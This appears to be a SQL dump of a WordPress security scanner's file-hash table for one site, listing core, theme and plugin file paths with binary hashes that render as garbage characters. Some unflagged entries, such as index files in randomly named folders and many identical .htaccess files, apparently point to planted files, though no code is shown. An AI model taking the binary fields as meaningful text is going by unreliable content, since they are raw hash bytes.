('PhrV','wp-admin/css/revisions-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/revisions-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=急S<וש','q6$ԌNK+P	ŶqUq','',0,'?'),
('YsMѨwk','wp-admin/images/about-release-badge.svg','/home/trevorkl/trevorklee.com/wp-admin/images/about-release-badge.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RC~cmغ$',']6gTEXFo(|B!ף9>','',0,'?'),
('zt[','wp-includes/blocks/heading/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/heading/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FUU<<_FK','pEkKO$ʗ(}{*1\Z','',0,'?'),
('\Z/hu}Z','wp-content/uploads/ewncuos/rzkntb1/index.html','/home/trevorkl/trevorklee.com/wp-content/uploads/ewncuos/rzkntb1/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
(']MXD','wp-content/themes/twentytwentyfive/patterns/template-query-loop-vertical-header-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-vertical-header-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kſٳ1u','l%ή屷P|h?(','',0,'?'),
('(eK+ctʬ\'','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yȟǧ~0Vc','%l;7\"<)VQ*C8N','',0,'?'),
('\'VB~w','wp-includes/blocks/query-pagination/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' z\Z.','\nh(nq(WnCkO46','',0,'?'),
('%Y2Yk','wp-includes/SimplePie/library/SimplePie/Cache/DB.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/DB.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ni핁pQ\Zr','7)gD1;JjCIA206t.','',0,'?'),
('SK547S','wp-includes/css/dist/block-library/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' [_xn_l.Ct','N/6F\'7^VOV_X:@KTɽ好w','',0,'?'),
('+f6Qy9','wp-includes/js/jquery/ui/selectmenu.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/selectmenu.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','){f0','1YȁkKʃHّdPT','',0,'?'),
('ρXn\r?','wp-includes/sodium_compat/src/Core/XSalsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/XSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pƮuo7;~z',' %ly\'#[_{E]8%','',0,'?'),
('?i.Q[E','wp-includes/blocks/post-navigation-link.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-navigation-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6C\\&$He','/VmQ6\'%k;7','',0,'?'),
('GnOm','wp-content/themes/twentytwentyfour/patterns/page-home-business.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-business.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>XB3ʾ驢$','ܱBD1;POKC{','',0,'?'),
('H4JJsR','wp-includes/SimplePie/src/XML/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/XML/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('])	{?R}','wp-includes/feed-rss.php','/home/trevorkl/trevorklee.com/wp-includes/feed-rss.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iJ?YC>^f','flPf52tY3xDׄ','',0,'?'),
('0<PsמH22','wp-includes/js/jquery/jquery.table-hotkeys.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.table-hotkeys.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7?F5sS57,(','J<?YSuŪU&\nNy`TkL','',0,'?'),
('39`wq','wp-content/themes/twentynineteen/style-editor.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gN+31','z;`ʄX;PbZ 15','',0,'?'),
('9(FRj2n6]','wp-admin/css/colors/light/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/light/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','넺WXU(Ū','~c㕒ewׇ)qlI0ÁVǗ','',0,'?'),
('FF_c\r!\rc','wp-content/plugins/wordfence/modules/login-security/img/passkey-info-icon.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/passkey-info-icon.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' (ՕQC','Jh\0ʲ&r_(b+r<(\Zt@B{','',0,'?'),
('J!2\0','wp-admin/css/about.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/about.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӫԪR++','_ia3eM4~	z,3Uo<I\ZSx','',0,'?'),
(']	n_ˤ[l','wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')y?>F\n~^','Z\n\r~YWmU9FtQ','',0,'?'),
('^N4ӝ,baD','wp-includes/css/dist/widgets/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9d2A$	N','AE!Lξ\rCs/%bg\":[a','',0,'?'),
('g\"}_7J5','wp-includes/js/jcrop/jquery.Jcrop.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/jcrop/jquery.Jcrop.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}(/WM','rNRnɳ01\Z6[՛	','',0,'?'),
('mqJa85V','wp-includes/images/wpspin-1x.gif','/home/trevorkl/trevorklee.com/wp-includes/images/wpspin-1x.gif',0,'Ƚc<sD$','Ƚc<sD$','z՗hے\0,4pa+W','',0,'?'),
('o5+IJP','wp-admin/site-editor.php','/home/trevorkl/trevorklee.com/wp-admin/site-editor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rz.@?,#','x^yPu	 PK|UFewA_','',0,'?'),
('pσjeྵ','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-a.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-a.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P7vxr?z','hZ\Z\\>{%4F\nԒwˮ','',0,'?'),
('v6Z\'OIL\"ݕM','wp-includes/js/dist/block-editor.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-editor.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r\r#(V','r9(Gm3m/,=]','',0,'?'),
('}\ZF?Fsv#','wp-content/themes/twentynineteen/print.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/print.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v|^q]vXm','Qܧo7mZKe(jň/q*>c7','',0,'?'),
('p96èR','wp-admin/css/common.css','/home/trevorkl/trevorklee.com/wp-admin/css/common.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oEVBk\Z','P!4([S\'5Gf>\nd','',0,'?'),
('ƪq悳','wp-includes/js/tinymce/plugins/paste/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/paste/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^s׶{މ2','\ZX8c+xη&Wg`m˴','',0,'?'),
(']:{-$$=','wp-includes/blocks/latest-posts/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('qL>#Q\0','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/Ctx.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/Ctx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qtTJ\ZFX\0','f)igU\'OM,}\\ċQ#','',0,'?'),
('<la,bX,','wp-admin/images/xit-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/xit-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ӂu:@4\rz<5','S\r}@~Q:Sc*d+Z_{R','',0,'?'),
('4K9?\'҆','wp-content/themes/twentytwentyone/assets/sass/06-components/404.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/404.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZtŽЋj?','Gc3I>έj_/*D','',0,'?'),
('ʅy>J.','wp-includes/blocks/term-template/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xM\0\ZacdXt','IMTbCS@諅y`6','',0,'?'),
('\\}emH\'','wp-content/themes/twentynineteen/inc/template-tags.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/template-tags.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m8\ZSܪ',',&S.rl`	Qw','',0,'?'),
('ɨz\niŲlb9','wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginAbandoned.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginAbandoned.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&$(*[','L,\'&㠾W6`1ahN%','',0,'?'),
('씵BH=0\r.','wp-content/themes/twentytwentyfive/patterns/page-landing-podcast.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-landing-podcast.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gbsU85ƻA','t5DȀPFۛ5&B]:','',0,'?'),
('17;?]:ʟ','wp-includes/js/tinymce/plugins/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('/[/Z','wp-includes/blocks/post-navigation-link/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-navigation-link/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nR(zJ,q3','G`	0tԄ?S\'$\n?*L','',0,'?'),
('+q^eguF6\n','wp-includes/theme-compat/embed.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/embed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ţs^qcb','W5Tp;-n0aO\n','',0,'?'),
('G!#h9	&','wp-includes/js/tinymce/plugins/wordpress/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wordpress/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*fCw!7 ','TK kAIj!i1duQt\'ފM','',0,'?'),
('Kjh','wp-content/plugins/wordfence/images/loading_background.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/loading_background.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'2p\nKX','Ύ%XŖF1s;Lzr璻','',0,'?'),
('P:vQw','wp-includes/blocks/list/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/list/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V7Nv]\nt','\'T6?^\nv1Qm\Z','',0,'?'),
('\\3\0h]??','wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.&\'\rvz','ɘ@l+XSZjǛa','',0,'?'),
('`Sk7TtvX','wp-includes/class-wp-list-util.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-list-util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c_7^a+Z(I','{p14hWwzq ̑Zr=W','',0,'?'),
('la\'P_bm	!p','wp-includes/blocks/audio/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')[J[7>','vܽZR}ZfG|-!TUswo4','',0,'?'),
('m*߿\\aDH','wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginRemoved.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfPluginRemoved.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V1@޵','u>F~61jBdf?Rw:','',0,'?'),
('o5]@{M*','wp-includes/block-patterns/navigation-overlay-accent-bg.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-accent-bg.php',0,'bC%yZg)0q]','bC%yZg)0q]','`M=.P\0QUN}-ՉB4','',0,'?'),
('usT­BB','wp-content/plugins/wordfence/images/sort_desc_disabled.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc_disabled.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J%{OZ\"/o','^*n^\0m+!NkɌ/ԯ^k','',0,'?'),
('|MWj(޻','wp-content/themes/twentytwentyone/assets/js/polyfills.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/polyfills.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z\'hd<2c(','J?}rΩ;p2G','',0,'?'),
('|*^`:\\X','wp-content/themes/twentytwentyfive/styles/05-twilight.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/05-twilight.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dF]eLb$rKj','KliW*<X{s\'J!_[Ȫ','',0,'?'),
('ZLOl','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Xsalsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Xsalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CFhz','oő\nwnpL+;~t2P*ƃ6','',0,'?'),
('h.s4-ƝY','wp-content/themes/twentytwentyfour/assets/images/green-staircase.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/green-staircase.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`ބ&`CV\0',')-RI/LAuֽt7,T؀u','',0,'?'),
('\'B7S','wp-includes/js/zxcvbn-async.js','/home/trevorkl/trevorklee.com/wp-includes/js/zxcvbn-async.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=$a[ZF)^\n~','uQ9ҫ{7o}`-nW','',0,'?'),
('{	\n|p٤','wp-includes/customize/class-wp-customize-nav-menu-item-setting.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6*={9Gk','5x%\Zc!\\2k\0$ \'T~H','',0,'?'),
(')(<','wp-includes/js/json2.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/json2.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ń7jR','Er)ckQ[yCχ=!','',0,'?'),
('b#!A3XV4	','wp-includes/blocks/comments-pagination/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g','h~\'8(y9$Y{vů)|','',0,'?'),
('vhy2%()','wp-includes/blocks/code/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z	mEJ','w($썎B.}e-','',0,'?'),
('!|MWkpr','wp-includes/blocks/query/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MGG:(^\r','`M;\0¼[t\n˳	jl	','',0,'?'),
('a\'@T瑓','wp-admin/images/date-button.gif','/home/trevorkl/trevorklee.com/wp-admin/images/date-button.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v!0ϝ$\n-潮LT','hŵδ䘼n$q!I#','',0,'?'),
('ݼR=tJG','wp-includes/js/dist/script-modules/block-library/navigation/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/navigation/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('*\'pLsYٻ3','wp-includes/blocks/term-name/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-name/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('CN26:p0E<','wp-includes/Requests/src/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('UyC7wt','wp-includes/sitemaps/svjbhyp/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('\rYaԒ ','wp-includes/Requests/src/Exception/Http/StatusUnknown.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M%}҅p(','9p^n#UBTaxI8ثd˜C','',0,'?'),
('\'T́YǙ','wp-includes/customize/class-wp-customize-cropped-image-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-cropped-image-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\n=PJjL','x\r:}gR)`kM%','',0,'?'),
(')z]!?a','wp-admin/images/media-button-video.gif','/home/trevorkl/trevorklee.com/wp-admin/images/media-button-video.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>uewJ','Ye\"n+#@ƼZgVP\'','',0,'?'),
(',=<2E;?t	0','wp-includes/Requests/src/HookManager.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/HookManager.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','; }ԋ3','155?zsۍpb9d','',0,'?'),
('/e\no?}mbK','wp-includes/blocks/page-list/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xt?%Y{','ׁ}p:B HJW_T2^-P','',0,'?'),
('5UU!8^','wp-includes/Text/yk1mjid/wgocz1i/index.php','/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
(';A(jJ','wp-content/plugins/loginizer/assets/images/social/Facebook.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/Facebook.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1ռ!^9|W','%POwɭv!?Pm@+B)A̸NYc','',0,'?'),
('F%C0,','wp-admin/css/list-tables-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/list-tables-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')*F=MA','(YhgEͩ\0غRgrSg+','',0,'?'),
('I\"ptQ[Z6x','wp-includes/css/admin-bar.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/admin-bar.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i|C[','EZHAQV/d.gyGV\ZB','',0,'?'),
('KXـ2#z','wp-includes/blocks/comments-title/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-title/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_eGAl	','ƳTz]	Gbg','',0,'?'),
('LoA7ev	','wp-includes/blocks/loginout.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/loginout.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',		=\\ \"','rty7(n[Zq\0rb~W','',0,'?'),
('cwk(43','wp-admin/includes/list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yݣz\0por	','ָ\'K`:$$b}$\'2','',0,'?'),
('gVHIw!','wp-includes/css/customize-preview.css','/home/trevorkl/trevorklee.com/wp-includes/css/customize-preview.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1ig`oӏٷ1>','>kdU=@R\r;','',0,'?'),
('ojdyf_b&xNK','wp-content/themes/twentytwenty/classes/class-twentytwenty-svg-icons.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-svg-icons.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MV[03+|\n','lގ.Pɾv@]','',0,'?'),
('vk@ |?a','wp-includes/sitemaps/egf1kul/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('y.{uJߠ5[\Z.','wp-includes/blocks/more/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/more/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tx:,!f`','!;KQ ʿ\'62w_3R.Ը(','',0,'?'),
('};1j72\r','wp-content/themes/twentytwentyone/assets/images/Daffodils.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/Daffodils.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_ʆKOX8tx','85]̺ՅP:1o#p@1P詷','',0,'?'),
('}A5 PԆ','wp-includes/blocks/gallery/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0jbkZM','oM`0x,OsApG5>\ZR','',0,'?'),
('Qֿ6yq88','wp-includes/theme-compat/footer.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/footer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^X{Q3','nt2. |?<mfYE~I','',0,'?'),
('=k1m','wp-content/themes/twentynineteen/image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b7J{K۬','wCT;<YNxt_n/','',0,'?'),
('ߤ.?`gYX','wp-content/themes/twentytwentyone/header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[Ii}s2+;xnb','*\'Wj8*DE.\'Lpϭm4Q','',0,'?'),
('ʡuL3>','wp-includes/abilities-api.php','/home/trevorkl/trevorklee.com/wp-includes/abilities-api.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vv ldrS<y','mR02ʭBj/	p~Z~*','',0,'?'),
('rA|ƋdO쨰','wp-includes/blocks/image/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k~B0','Wߤ%mdD\'.][\Zԅc<','',0,'?'),
('C	}(d','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/IntegerParser.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/IntegerParser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ouא]`+{','TwAkPۨF\'6V~wsp','',0,'?'),
('nN5v7','wp-includes/blocks/navigation-link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('w\'6)','wp-includes/rss-functions.php','/home/trevorkl/trevorklee.com/wp-includes/rss-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' xr62\']el#','~^Ɏf}nBhi=F\n	^,','',0,'?'),
('ӄw|?','wp-includes/blocks/avatar/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('N9{;','wp-includes/js/mediaelement/wp-mediaelement.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/wp-mediaelement.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\clE+htA6','009!t;ٖߩde\"','',0,'?'),
('.I\nfqM9','wp-includes/sodium_compat/src/Core/Poly1305.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Poly1305.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8Yفk','75H|@\"ޖϛQ{e_l','',0,'?'),
('4|~]0e#6','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OXNلv/','W^YT/!t3x|2q21d/','',0,'?'),
('\"UF~B.S','wp-includes/blocks/video/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<Z|#%','s)6SM\\-P8\Z/0','',0,'?'),
(';`$r$=','wp-content/plugins/wordfence/images/icons/warning128.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/warning128.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pGIt*Np=','*/ȾstA}.b\'\\','',0,'?'),
('AaKo+O','wp-includes/blocks/post-author.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F0wp,jAw','{j9L	4kItK\"2xԐ','',0,'?'),
('E58yWsO','wp-admin/css/admin-menu.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/admin-menu.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_!!f?Ű[a?I7','v9|J4*o=bʄOEN\'g','',0,'?'),
('I/#6泧@','wp-content/plugins/wordfence/modules/login-security/views/passkey/grace-period.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/grace-period.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Җ1M&5Uy','nC=\0UfqlM}Hxg','',0,'?'),
('L1Uzf`\Z','wp-content/plugins/wordfence/css/wf-colorbox.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-colorbox.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yES','Ρ2*0\'1RʕM Pv','',0,'?'),
('Le5x?e=&','wp-includes/js/plupload/wp-plupload.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/wp-plupload.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5\r\rs ','l-7EG\ZMU?!?','',0,'?'),
('O4^ec','wp-includes/sodium_compat/src/Core/AES/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('QS2#]srt','wp-includes/sodium_compat/src/Core/BLAKE2b.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','⃎wl\0pA','+1,3-OETodÛ՚c?<','',0,'?'),
('QrOA:ɉm','wp-content/themes/twentytwentyfour/patterns/hidden-posts-heading.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-posts-heading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^0YtN$dV/K','vZ\rX֡xWx[:əERU','',0,'?'),
